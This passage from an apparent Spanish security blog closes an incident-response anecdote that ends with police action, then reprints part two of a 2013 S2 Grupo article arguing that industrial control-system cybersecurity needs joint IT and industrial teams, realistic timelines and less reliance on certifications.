dejar rastro, un VPS ruso desde el que jugar con Vicentín muy alegremente (y encima el ancho de banda del proveedor es bastante barato)… Ojo, que me lo han comentado, que nosotros eso no lo hacemos porque es ilegal, por supuesto. Seguiremos poniendo la otra mejilla para que nos den más abajo y con el pie…

Como elemento positivo, hay que reconocer que el CNP hizo un trabajo excelente, y eso es siempre de agradecer, en nuestro caso especialmente al Oficial y, por extensión, al Inspector Jefe del Grupo; nos atendieron de maravilla en todo momento, el intercambio de información fue fluido y ágil y los resultados obtenidos fueron perfectos, con el atacante delante de un juez. El aspecto judicial ante situaciones como la explicada, y las situaciones surrealistas en los juzgados, darían para más de un post, pero ese ya es otro tema que excede la gestión del incidente con Vicentín…

La gestión de incidentes no es, por suerte o desgracia, una ciencia exacta. No sabemos si otros habrían hecho lo mismo que nosotros, mejor o peor, en esta historia inventada ¿Qué opináis? ¿Se os ocurre alguna alternativa legal más allá de bloquear y denunciar? ¿Denunciaríais? ¿Atacaríais -ojo, sin saber realmente si la IP es del atacante o de su vecino-? Cualquier idea es bienvenida, que el objetivo es, siempre, ir mejorando…

Una visión global de la ciberseguridad de los sistemas de control (II)

(N.d.E. Este artículo fue publicado en el número 106 de la revista SIC, correspondiente a Septiembre de 2013. Sus autores son Óscar Navarro Carrasco, Responsable de ciberseguridad industrial, y Antonio Villalón Huerta, Director de seguridad. Ambos trabajan en S2 Grupo y pueden ser contactados vía onavarro en s2grupo.es y avillalon en s2grupo.es)

La semana pasada finalizábamos el artículo haciendo al lector una pregunta ¿tiene en cuenta el enfoque actual de la ciberseguridad industrial este contexto?

Y la respuesta, en nuestra opinión, es que NO.

En primer lugar, y siempre en términos generales, los elegidos dentro de las empresas para gestionar la ciberseguridad industrial y todo lo referente a la LPIC son, como no debe ser de otra forma, los departamentos de seguridad, en el mejor de los casos, o los responsables de seguridad tecnológica; incluso si no existen estos roles, es directamente el departamento TI quien pasa a hacerse cargo de cualquier cosa que tenga el prefijo “ciber”. Esta elección puede parecer obvia en ciertas ocasiones, pero como ya indicamos al principio, saber conducir no es equivalente a conocer la ruta.

Estas personas tienen que librar una batalla con departamentos en ocasiones más antiguos, con directivos ‘pata negra’ que han trabajado en el núcleo del negocio –o eso creen- toda la vida (posiblemente en el sentido estricto), que perciben la seguridad como un simple gasto y cualquier cosa tecnológica como algo recién llegado que carece de una importancia real y que llega a invadir su territorio, su reino. Y lo que es peor, es muy posible que en las reuniones quede patente que, efectivamente algunos departamentos de seguridad –o de tecnologías- no conocen ni siquiera este lenguaje, al igual que esos “expertos” en negocio no entienden ni una palabra del riesgo tecnológico. El resultado de las confrontaciones las debe resolver un superior jerárquico que posiblemente proceda, igualmente, del ‘núcleo duro’ y que entiende lo que dice una parte, pero por desgracia posiblemente no lo que dice la otra. Y es muy difícil convencer a alguien cuando el único argumento que queda es el de la amenaza, especialmente si ésta no se percibe como tal. Otras amenazas, como las consecuencias de un fallo en el sistema de control a causa de una intervención incorrecta (medible en repercusión social y lucro cesante) son mucho más fácilmente asimilables, ya que suponen la preocupación diaria de estos directivos.

Es poco realista fijar objetivos a largo plazo considerando como tal el horizonte 2017-2018, como se propone en el Mapa de ruta de ciberseguridad industrial en España. Guste o no, en un sector donde algunos PLC todavía usan sistemas operativos y protocolos de más de 20 años de antigüedad, 5 años constituye un plazo, a lo sumo, medio, al menos de momento. Es a consecuencia de todo ello que se llega a una situación de bloqueo como la actual, lo que tiene como resultado que los plazos previstos en la LPIC y en el Reglamento que la desarrolla se estén incumpliendo.

Es posible, incluso, que los responsables de los sistemas de control industrial intenten adoptar medidas en este ámbito, siempre bajo su supervisión. El problema de esta aproximación es que ni la formación ni la cultura facultan al personal de este departamento para trabajar en esta cuestión, siempre hablando en términos generales. Incluso puede que estas medidas no tengan más objeto que justificar que se están ‘haciendo cosas’, una razón más para apartar de la cuestión al departamento de seguridad o al departamento TI y proseguir con esa lucha entre reinos que tanto suele preocupar a esos directivos “pata negra” y tan poco preocupa a la sociedad.

Certificaciones polémicas

Es fácil caer en la tentación de trasladar directamente las estrategias y experiencias que han dado buen resultado en el ámbito TI al ámbito industrial. Recuérdese el dicho: “cuando todo lo que tenga sea un martillo, todo lo que vea le parecerá un clavo”. Sólo un ejemplo, existe ya una certificación expedida por el IACRB denominada CSSA (Certified SCADA Security Architect). En primer lugar, en el campo profesional industrial un pie de firma repleto de acrónimos correspondientes a certificaciones resulta, cuando menos, extravagante —al igual que a muchos nos parece ridículo en el ámbito tecnológico—. La pregunta es: ¿Cuántos sistemas SCADA o procesos industriales han diseñado los poseedores de tal acreditación? ¿Es necesaria experiencia previa en sistemas SCADA para obtenerla? Más aún, los profesionales que se dedican, por ejemplo, a programar PLC ¿poseen la base necesaria para alcanzar la certificación? Antes de responder afirmativamente, rogamos al lector que se pregunte con cuántos programadores de PLC ha hablado. La realidad es que tal certificación está en posesión, al menos en España, de profesionales del ámbito TIC. Es fácil y obvio imaginar la escasa disposición de un responsable de un sistema de control a aceptar recomendaciones de un CSSA sin experiencia en diseño, operación o mantenimiento de sistemas SCADA.

fotoOtro error consiste en pretender que el sector industrial y de infraestructuras adopte cambios o acometa acciones radicales a la velocidad a que suele ocurrir o es posible en las TIC. En este caso hay que buscar un término medio entre pretender lo imposible y retrasar lo inevitable, dos caminos que conducen al desastre. En este sentido es, en nuestra opinión, poco realista fijar objetivos a largo plazo considerando como tal el horizonte 2017-2018, como se propone en la recientemente publicado Mapa de ruta de ciberseguridad industrial en España del Centro de Ciberseguridad Industrial. Guste o no, en un sector donde algunos PLC todavía utilizan sistemas operativos y protocolos de comunicaciones de más de 20 años de antigüedad (un éxito, sin duda, de sus creadores), 5 años constituye un plazo, a lo sumo, medio, al menos de momento. Es a consecuencia de todo ello que se llega a una situación de bloqueo como la actual, lo que tiene como resultado que los plazos previstos en la LPIC y en el Reglamento que la desarrolla se estén incumpliendo.

Lo dicho anteriormente no se basa en especulaciones sin fundamento. Es el resultado de nuestra experiencia al respecto, tanto de S2 Grupo como la nuestra en particular. Uno de los autores es Ingeniero Industrial y hasta su incorporación a S2 Grupo había desarrollado su carrera en el ámbito de la ingeniería y construcción; nunca había trabajado con ingenieros informáticos. Por el contrario, otro de los autores es Ingeniero Informático, especializado en seguridad, por lo que para él hablar de meses o años para corregir una vulnerabilidad, o utilizar sistemas operativos de hace lustros es, sencillamente, algo no asumible. Tanto uno como otro llegan a afirmar que la relación con los otros profesionales es comparable a la del contacto con alienígenas y sólo cuando han desarrollado un lenguaje común y tenido una noción del trabajo llevado a cabo por la otra parte ha sido posible iniciar una relación fructífera. A la vista de todo lo expuesto, cabe cuestionar si el enfoque actual de la ciberseguridad industrial es el adecuado o si los que trabajamos en seguridad desde hace tiempo estamos pensando que la situación —y la solución— es sólo cosa nuestra. Se dice que no por mucho madrugar amanece más temprano y lo urgente de la cuestión no justifica adoptar medidas precipitadas, más aún cuando éstas pueden resultar contraproducentes.

Se ha hablado mucho de la falta de formación en ciberseguridad de los profesionales del ámbito industrial, asi como de concienciación. Sin duda, son aspectos en los que se debe trabajar. Pero hay dos cuestiones en las que no se suele reparar y que son de la mayor importancia: la inercia/conservadurismo y el corporativismo.

En nuestra opinión, el trabajo de mejora de la ciberseguridad industrial no puede realizarse de espaldas a los profesionales que han diseñado, construido y mantienen en explotación las infraestructuras que se deben proteger, igual que esos profesionales no pueden vivir ni un minuto más sin concienciarse –siempre es el primer paso- de la importancia de la seguridad. Es evidente que ambas partes tienen mucho que aportar y su participación es imprescindible. Los expertos en seguridad tecnológica poseen la experiencia y las herramientas técnicas, mientras que los profesionales en procesos y sistemas de control industrial deben aportar su conocimiento de los sectores productivos, los procesos controlados y las limitaciones que el contexto impone a las soluciones específicas.

Por ejemplo, hay cuestiones que el sector tecnológico ha resuelto de forma excelente y que deben incorporarse, con las consideraciones específicas oportunas, al ámbito de los sistemas de control. En primer lugar, el empleo de técnicas de correlación compleja para la identificación y caracterización de incidentes de seguridad. Ello es tanto más importante por cuanto los ataques a estos sistemas están adoptando la forma de APT y son, por tanto, bastante más complejos que una simple orden de ‘shutdown’. En segundo lugar, el modo en que se gestionan los incidentes en el ámbito tecnológico; los sistemas industriales están diseñados para hacer que el fallo sea algo extremadamente raro (tanto más raro cuanto más peligroso resulte). Su gestión está poco regulada y depende altamente de las personas y su experiencia y conocimiento de la instalación controlada. En cambio, en las TIC se ha aprendido a convivir con el fallo, razón por la cual se han desarrollado herramientas, sistemas y procedimientos de gestión que permiten tratar eficazmente las consecuencias, por ejemplo, de un ciberataque. A modo de ejemplo y en esta línea en S2 Grupo disponemos de un iSOC (industrial Security Operation Center) destinado a tratar estas incidencias con un enfoque mixto.

En definitiva, creemos que la estrategia actual en ciberseguridad industrial ha descuidado, hasta el momento, algunos aspectos cruciales. Como consecuencia, el progreso ha sido más lento de lo esperado a pesar de las exigencias legislativas. Para corregir esta situación hay que incidir en cuestiones que hasta el momento no han recibido la atención necesaria:

1. Tener en cuenta que el sector industrial es muy heterogéneo, por lo que no existen soluciones generales. Es imprescindible conocer las particularidades de cada uno de ellos para realizar un enfoque adecuado. Este trabajo sólo pueden hacerlo profesionales de los sectores implicados.
2. Recordar que un sistema SCADA no es sólo el software de supervisión, el servidor SCADA o la red de comunicaciones (elementos familiares para un profesional TI). Se trata de un sistema complejo en el que también hay elementos físicos (como, por ejemplo, instrumentación y actuadores). En este sentido, posibles soluciones para problemas específicos irresolubles a nivel TI pueden pasar por volver a recuperar cosas como la lógica cableada y los enclavamientos físicos y eléctricos, viejos conocidos de los profesionales industriales.
3. Tener en cuenta el ritmo a que se asimilan los cambios en el sector industrial para no fijar horizontes no realistas.
4. Prestar la máxima atención al factor humano, evitando que se den situaciones de enfrentamiento tipo Nosotros vs. Ellos que acaben en posiciones ultradefensivas o de bloqueo.
5. Desarrollar aproximaciones sucesivas teniendo en cuenta las largas vidas útiles de equipos e instalaciones.
6. Las Administraciones y otras entidades licitadoras de infraestructuras deben incluir en los pliegos exigencias concretas relativas a la ciberseguridad industrial de las instalaciones proyectadas, de forma que estas condiciones pasen a formar parte del proceso proyecto-construcción.
7. Es imprescindible la formación de equipos interdisciplinares lo que debe alcanzar también a la interlocución con los responsables de la gestión de las infraestructuras críticas. De esta forma, éstos podrán comunicarse, además de con expertos en ciberseguridad, con personas de formación y experiencia afines, lo que ayudará a salvar los obstáculos culturales (especialmente a un nivel intermedio).
8. Se hace mucho énfasis en la formación, especialmente en la forma de másteres específicos. Pero no debe olvidarse que, en muchas ocasiones, los propios programadores disponen de gran autonomía en la toma de decisiones técnicas específicas en el diseño de los sistemas, por lo que no se debe descuidar ningún nivel educativo o profesional.
9. Siguiendo con la formación, creemos que debe evitarse extender el modelo basado en certificaciones específicas, tan habitual entre los profesionales TIC, a los especialistas en sistemas de control industrial.
10. Se deben desarrollar instalaciones dotadas de sistemas de control, industrial suficientemente realistas como para permitir adquirir experiencia en ciberseguridad (tanto en estrategias de ataque como de defensa o gestión de incidentes). Estas instalaciones son el ámbito idóneo para los equipos mixtos que deben trabajar en ellos desde el momento mismo del diseño. Además, constituyen un medio de demostración importantísimo para el personal no formado en ciberseguridad.
11. A modo de resumen final: evitar trasladar tal cual la experiencia y procedimientos de ciberseguridad en el ámbito TI al ámbito industrial. Una nueva cultura común debe surgir del trabajo conjunto de todos.

Pueden descargar el artículo original desde este enlace: Una visión global de la ciberseguridad de los sistemas de control. Revista SIC, número 106, Septiembre 2013.